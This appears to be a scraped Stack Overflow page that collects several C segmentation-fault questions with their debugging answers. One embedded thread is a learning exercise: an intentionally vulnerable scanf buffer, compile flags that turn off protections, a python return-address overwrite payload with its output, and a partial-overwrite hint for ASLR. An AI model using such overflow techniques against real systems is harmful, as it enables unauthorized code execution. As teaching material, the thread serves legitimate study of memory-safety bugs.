Closed. This question needs debugging details. It is not currently accepting answers.
Edit the question to include desired behavior, a specific problem or error, and the shortest code necessary to reproduce the problem. This will help others answer the question.
Closed 2 years ago.
Improve this question
Im writing this program in c89 that reads the files however i keep getting segmentation fault
ive run it by valgrind --leak-check=full --show-leak-kinds=all -v ./program and it pointed to the two sscanf lines leaks
to run the program, it is two file names
./program cat.txt dog.txt
and complies by a make file
I have free'd them and set to null after and i still get these issues, i have attached a picture of my [![valgrind errors here][1]][1]
int main(int argc, char* argv[]){
char* cat = (char*)malloc(12 * sizeof (char));
char* dog = (char*)malloc(12 * sizeof (char));
/*float sleepTime;*/
/*if (argc != 4)
{
printf("Error - Enter file names");
}*/
sscanf(argv[1], "%s", cat);
sscanf(argv[2], "%s", dog);
sleepTime = atof(argv[3]);
readFile(cat);
readFile(dog);
free(cat);
free(dog);
cat = NULL;
dog = NULL;
}
i tried to comment things out, however still no luck
any help would be appreciated
Ok from looking at the valgrind log aswell as reading what you wrote I gather this:
You are building with a makefile, which should set the compiler arguments dog.txt and cat.txt, which are then written cat and dog.
The valgrind log says Address 0x0 is not ... in main when calling sscanf().
This means that there is a null pointer as it is pointing to an invalid memory address, being used in the sscanf() call.
So either the make build fails to properly compile with the arguments or the memory allocation of cat and dog is not successful.
.
To check validity:
I would recommend writing some assertions or writing a function to check if a pointer is vaild and call it and check your pointers, namely cat , dog and argv[index] just before calling sscanf().
https://ptolemy.berkeley.edu/~johnr/tutorials/assertions.html
https://wiki.sei.cmu.edu/confluence/display/c/MEM10-C.+Define+and+use+a+pointer+validation+function
A good and simple example of pointer validation from the above link:
int valid(void *ptr) {
return (ptr != NULL); // 1 valid, 0 invalid
}
To fix eventual makefile issues I think we would need to see the makefile in question, but if that can't be done for some reason then these might be of interest:
Command-line arguments via Makefile
How to pass argument from Makefile to a program?
Edit:
I checked the updated valgrind log on the question and noticed that the reachable memory that is in readFile().
To fix that issue you would need to define a function that properly closes the file. As you never close the files, leaving them hanging in memory causing your reachable memory warning.
Related
I'm doing a really simple example of buffer overflows, I have this code:
#include <stdio.h>
void secretFunction()
{
printf("Congratulations!\n");
printf("You have entered in the secret function!\n");
}
void echo()
{
char buffer[20];
printf("Enter some text:\n");
scanf("%s", buffer);
printf("You entered: %s\n", buffer);
}
int main()
{
echo();
return 0;
}
To start with, I compile this file with no stack protections, and aslr turned off:
gcc buf.c -o vuln_nostack -fno-stack-protector -m32 -no-pie
For exploiting this, we simply want to inject the memory adress of the secret function so that we can get to run it. This can be done with running the file with python generating the input:
$ python -c 'print "a"*32 + "\xd6\x91\x04\x08"' | ./vuln_nostack
Enter some text:
You entered: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa֑
Congratulations!
You have entered in the secret function!
Segmentation fault (core dumped)
Which hits my secret function. So this works.
But now the problem is that I want to to work with aslr as well, so I want to output the adress of the secret function at the start of the program, and then have the malicious input depend on that.
FOr that reason, I want to wait by inputting anything to the program, until I have seen what it has printed to me.
But if I now run the program where I just give the input manually while the program runs:
./vuln_nostack
Enter some text:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa֑\xd6\x91\x04\x08
You entered: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa֑\xd6\x91\x04\x08
Segmentation fault (core dumped)
Then it simply handles my input correctly, and the value is not overflown. A segmentation error occurs, indicating that something is happening, but not the same direction to my secret function
I'm pretty new to overflows, and don't really understand why this is happening, when the python generated input actually works.
SO my question is whether there is a way to do this simple overflow "manually" while the program runs. Or if I will need to write some script (python perhaps) that can interact with this faulty program and give it correct input as it runs?
You say that your input is handled correctly in the second example but this is not the case, you can see that in the second time you ran the program, you got a segmentation fault, which means that you accessed memory which can't be deferenced(Either due to wrong memory protection or due to invalid memory address).
The reason that you failed to jump to secretFunction() on your second run, is that you were assuming that scanf parses escaped unicode values as unicode, but when you enter "\xd6" it is not parsed to a unicode value but it is parsed to 4 chars '' 'x' 'd' '6'. As you run on a 32 bit machine this is the address the program tries to execute which probably leads to a segfault as this memory is most likely not valid nor executable.
Just an idea on how to overcome ASLR without connecting with gdb after running the program and looking for the address the program was loaded to - you can try overflowing only the lower 2 bytes, as if I am not mistaken only the 2 upper bytes are randomized with ASLR, hence you only need to overflow the "offset" which is constant even with ASLR.
Here is some learning material regarding stack overflows:
https://insecure.org/stf/smashstack.html
Closed. This question needs debugging details. It is not currently accepting answers.
Edit the question to include desired behavior, a specific problem or error, and the shortest code necessary to reproduce the problem. This will help others answer the question.
Closed 3 years ago.
Improve this question
#include<stdio.h>
void main()
{
FILE *a[10];
int i,j,k;
float b[10][4][4];
for(i=0;i<8;i++)
{
char filename[100];
sprintf(filename,"infile%d.txt",i);
a[i]=fopen(filename,"r");
}
for(i=0;i<8;i++)
{
for(j=0;j<2;j++)
{
for (k=0;k<3;k++)
{
fscanf(a[i],"%f",&b[i][j][k]);
}
}
}
for (i=0;i<8;i++)
{
printf("\n-----------------%d--------------------",i);
for(j=0;j<2;j++)
{
for(k=0;k<3;k++)
{
printf("\nb[%d][%d][%d]=%f",i,j,k,b[i][j][k]);
}
}
}
}
I have written the above code in C. Which just reads 8 different files and print it in terminal. The file name is infile0, infile1 and son on up to infile7. Though the code runs, it shows segmentation fault core dumped in the terminal. I couldn't figure out why this happens at all. Can some one help me figure out the mistake in the code.
Compiling with -g and running trough valgrind gives an error line 19 when no files are present.
Maybe you should add
if(!a[i])continue;
before scanf. (and set some message or default values).
also have a look at Input validation using scanf(), as you should check scanf return value.
I hope it helps, this my my first so contribution.
EDIT:
the -g flag is for your compiler, e.g
gcc -g myfile.c -o myfile
then run your binary trough valgrind.
It will tell you any problems with memory: leaks, invalid red/write...
valgrind ./myfile
Don't forget to install valgrind if it is not on your system.
A lot of remarks can be done from your code
1) In
void main()
main returns an int, not void, so must be
int main()
2) In
FILE *a[10];
..
for(i=0;i<8;i++)
{
...
a[i]=fopen(filename,"r");
why do you have an array with 10 entries to only use 8 of them ?, better to have
FILE *a[8];
3) 10 (becoming 8) is used a lot of times in your code, if you decide to change the number of elements you will have to change it every where, it is more simple to use a #define or sizeof(a)/sizeof(a[0])
4) In
char filename[100];
sprintf(filename,"infile%d.txt",i);
you are very generous with the needed size, even your int are in 64b and you increase so much the number of entries in a (no change to have enough stack nor file description anyway) 20 digits are enough for a positive number, so char filename[20+10+1]; is enough
5) In
float b[10][4][4];
...
for(j=0;j<2;j++)
{
for (k=0;k<3;k++)
like for 2) there is no reason to use a so large array if you do not use all the entries
6) In
fscanf(a[i],"%f",&b[i][j][k]);
you do not check if the corresponding file was open so if a[i] is not NULL, probably your segmentation fault comes because a file wasn't open
you do not detect the end of file nor if the file doesn't contain a valid float, you need to do for instance if (fscanf(a[i],"%f",&b[i][j][k]) != 1) { ...error management... }
I'm dealing with a strange errors in code which i wrote in c.
this is the place where the error occur:
char* firstChar = (char*) malloc(ONE_CHAR_STRING);
if (!firstChar) {
*result = MTM_OUT_OF_MEMORY;
return false;
}
if (command != NULL) {
strcpy(firstChar, command);
firstChar[1] = '\0';
}
free(firstChar);
'command' is a string, and ONE_CHAR_STRING defines in the program, (ONE_CHAR_STRING= 2).
the error which appear when the program get into the 'free' function is:
warning: Heap block at 00731528 modified at 00731532 past requested size of 2
this error strangely append only on my PC/eclipse on windows. when i run the code in linux it doesn't prompt this error and works(the specific part) fine.
what could be the reason?
another question again about memory errors, how it is possibly that my program(without this part) works fine on windows, but in linux their is a problem in one of my memory allocations?
I can't write down here the code cause it's too long (and gdb doesn't gives me the lines of where the error occur).. the question is about the possibility and what could be the reasons for it.
Thanks, Almog.
you can use another string copy function to avoid overflow:
strncpy(firstChar,command,ONE_CHAR_STRING);
strcpy may overlap to copy firstChar if command string length is greater than ONE_CHAR_STRING or not null terminated that lead you to strange behavior. You can safely copy command string to firstChar by assign firstChar[0] = command[0]; firstChar[1] = '\0'
If your compiler for both Linux and Windows is gcc (MinGW in Windows) use -fstack-protector as compiler parameter to help you to debug function such as strcpy buffer overflow.
I have a piece of C code where I try to write a buffer into an opened output file.I am getting a segmentation fault when I try to run the code.
if (fwrite(header, record_size, 1, uOutfile) != 1)
{
return 0;
}
The header is a properly populated and I am able to print out the contents of the header.the size of the buffer header is definitely greater than the record_size.Is there anything else worth checking.?Any other reason where fwrite can cause a segfault.Gdbing the problem gave the following output
0x00007ffff6b7d66d in _IO_fwrite (buf=0x726d60, size=16, count=1, fp=0x738820) at iofwrite.c:43
43 iofwrite.c: No such file or directory.
in iofwrite.c
it seems to suggest that the output file has not been created.how ever and ls -l on my directory shows the output file of size 0 bytes.
I would greatly appreciate if someone could throw some light on the problem.
EDIT: Code that opens the file:
outfd = open(out, O_RDWR|O_CREAT|O_TRUNC|O_LARGEFILE, 0664);
if (outfd == -1) {
dagutil_panic("Could not open %s for writing.\n", out);
}
uOutfile = fdopen(outfd, "w");
I don't think there's enough here to know for sure what your problems are, but here are some thoughts:
Show us the code involving your FILE * (uOutFile) and your buffer (header) — we can then see if you're borking memory somewhere between.
Run your code through valgrind: You're getting a segfault, so it could probably catch what you're doing wrong.
In gdb, examine the contents of both header and uOutFile (not just the pointer, but the pointed-to-memory.) (You'll have to use some smarts to figure out if uOutFile looks right, but you should be able to up-or-down determine if header is correct.)
To add to this: my general debug strategy when I get segfaults is:
gdb's backtrace. Tells me where the segfault happened. Usually, this is enough to uncover the dumb thing I did.
Look at the pointers in the vincinity of the crash. Is the pointer correct, and is the pointed-to data correct? (esp. if you see something strange like 0xdeadbeef)
Valgrind Valgrind Valgrind
(2 & 3 are in no particular order.)
Closed. This question needs debugging details. It is not currently accepting answers.
Edit the question to include desired behavior, a specific problem or error, and the shortest code necessary to reproduce the problem. This will help others answer the question.
Closed 4 years ago.
Improve this question
On running the following script, I get segmentation fault. The output consists of "here 5a". But nothing beyond it. Any suggestions on what might be going wrong?
if(model==1)
fptr3=fopen("poisson.pro","r");
if(model==2)
fptr3=fopen("jtt.pro","r");
if(model==3)
fptr3=fopen("estimate.pro","r");
printf ("here 5a\n");
for (i=0;i<20;i++)
fscanf(fptr3,"%lf", &freq[i]);
printf ("here 5ai\n");
for (i=0;i<20;i++)
{
printf ("here 5b\n");
for (j=0;j<20;j++)
{
printf ("here 5c\n");
fscanf(fptr3,"%lf", &prob[i][j]);
if(model==3)
prob[i][j]=prob[i][j]/10000.0;
}
}
UPDATE
double freq[20], prob[20][20];
Are you sure this code is called and "model" is either 1, 2, or 3? If not, fptr3 would not be set, so if you try to do anything with it you'd be in trouble.
Try this instead?:
void modeltest (int model)
{
FILE *fptr3 = NULL;
int i = 0;
int j = 0;
double freq[20], prob[20][20];
if(model==1) fptr3=fopen("poisson.pro","r");
if(model==2) fptr3=fopen("jtt.pro","r");
if(model==3) fptr3=fopen("estimate.pro","r");
printf ("here 5a\n");
if (fptr3 != NULL) {
for (i=0;i<20;i++) fscanf(fptr3,"%lf", &freq[i]);
printf ("here 5ai\n");
for (i=0;i<20;i++) {
printf ("here 5b\n");
for (j=0;j<20;j++) {
printf ("here 5c\n");
fscanf(fptr3,"%lf", &prob[i][j]);
if(model==3) prob[i][j]=prob[i][j]/10000.0;
}
}
}
else {
printf ("fptr3 is NULL!\n");
}
}
An additonal note. Please, please, please consider consistent brace styles! :)
Is this C# ???? wooow no kidding you are getting segfaults...
Do you know what return codes are for ???
You really need to improve your code before asking for this kind of help....this is really unreadable, and ugly code...
Start adding some check to your file pointers
if(1==model)
{
fptr3=fopen("poisson.pro","r");
if(null == fptr3)
{
perror("Fopen failed");
}
...
valgrind is the sovereign remedy for segfaults in C. It finds errors before the segfault and tells you exactly what you did wrong. For maximum benefit, compile with debugging symbols turned on.
I agree with Daniel, you need to be checking your return values and pointers.
I also agree that you need to do a better job blocking and formatting your code. Supposing that you are the only one that ever reads it, in a couple of weeks even you will have forgotten enough that you won't be able to follow it.
Towards Matthews point, you could try deleting everything starting with the line:
printf ("here 5ai\n");
Of course, only bother with this after checking the file pointer.
Another crazy idea would be stepping through it with a debugger. I know it's hard to use a debugger when you have such great debugging options as the printf statement, but sometimes a debugger can be a huge time saver (for example, when you keep getting segfault). Also, learning how to use the debugger for the platform you are developing on is one of the things that separates good coders from the pack of average hacks. (FYI, you could even try looking at your core in the debugger and maybe see exactly where the problem is. (Hint: if you don't have a core file try 'man ulimit'.))
If you are going to insist on using printf as your only means of debug, then call flush right after each use.
What's freq defined as? What's prob defined as?
Is the first for loop meant to only run fscanf for freq? Or is it supposed to encompass the entire block?
EDIT: Rationale - If all you see is 5a, then it's faulting in the fscanf on freq. You may have allocated too little space for freq, or used an incorrect type.
Check the return code and print if needed the error code of your files with perror() (see. daniel answer). Calling fscanf() with a FILE * to NULL, will surely do a segfault.
As you specified %lf, freq must be an array of at least 20 doubles, not just float.
See man ffrintf().
use a debugger instead of printf().
You should post the contents of the beginning of whatever file is getting opened since it's crashing in fscanf. Either the file doesn't exist, or it's malformed when stacked against to how you are trying to parse it.